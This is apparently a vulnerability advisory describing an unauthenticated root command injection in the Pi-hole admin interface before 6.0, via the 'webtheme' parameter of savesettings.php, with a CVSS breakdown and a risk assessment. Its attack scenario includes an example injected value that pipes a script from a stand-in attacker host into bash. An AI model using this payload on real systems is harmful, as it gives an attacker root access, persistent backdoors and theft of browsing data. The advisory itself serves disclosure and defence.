Web Interface EUVD-2026-16781

Remote unauthenticated attacker can exploit Pi-hole Admin Interface versions prior to 6.0 by sending a crafted POST request to savesettings.php with malicious payload in the 'webtheme' parameter. No authentication or user interaction required. Default installations are vulnerable.

This vulnerability represents critical real-world risk based on converging threat indicators. The CVSS 4.0 score of 8.9 reflects maximum exploitability: network attack vector (AV:N), low complexity (AC:L), no prerequisites (AT:N), no authentication required (PR:N), and no user interaction (UI:N), with high impact to confidentiality, integrity, and availability. The E:P metric confirms publicly available exploit code exists. While not listed in CISA KEV (no confirmed active exploitation in federal networks at time of analysis), the combination of unauthenticated remote access, trivial exploitation complexity, root privilege escalation, and POC availability creates an extremely high likelihood of exploitation. Pi-hole installations exposed to the internet or untrusted local networks face imminent compromise risk. The SSVC decision framework would classify this as immediate priority: exploitation proof exists (E:P), fully automatable (no human interaction required), and critical technical impact (arbitrary code execution as root). Organizations should treat this as a priority-one remediation regardless of the absence of KEV status.

An unauthenticated attacker on the network scans for exposed Pi-hole admin interfaces and sends a crafted HTTP POST request to savesettings.php with a malicious webtheme parameter value such as 'default; curl http://attacker.com/backdoor.sh | bash #'. The vulnerable PHP code concatenates this input directly into a sudo-privileged exec() call without sanitization. The injected commands execute with root privileges, downloading and running a remote shell script that establishes persistent backdoor access, exfiltrates DNS query logs containing network browsing history, modifies DNS responses to redirect traffic, or pivots to attack other devices on the network. Given the network attack vector and zero authentication requirement, automated exploitation by botnets or opportunistic attackers is highly probable once targets are identified through internet-wide scans.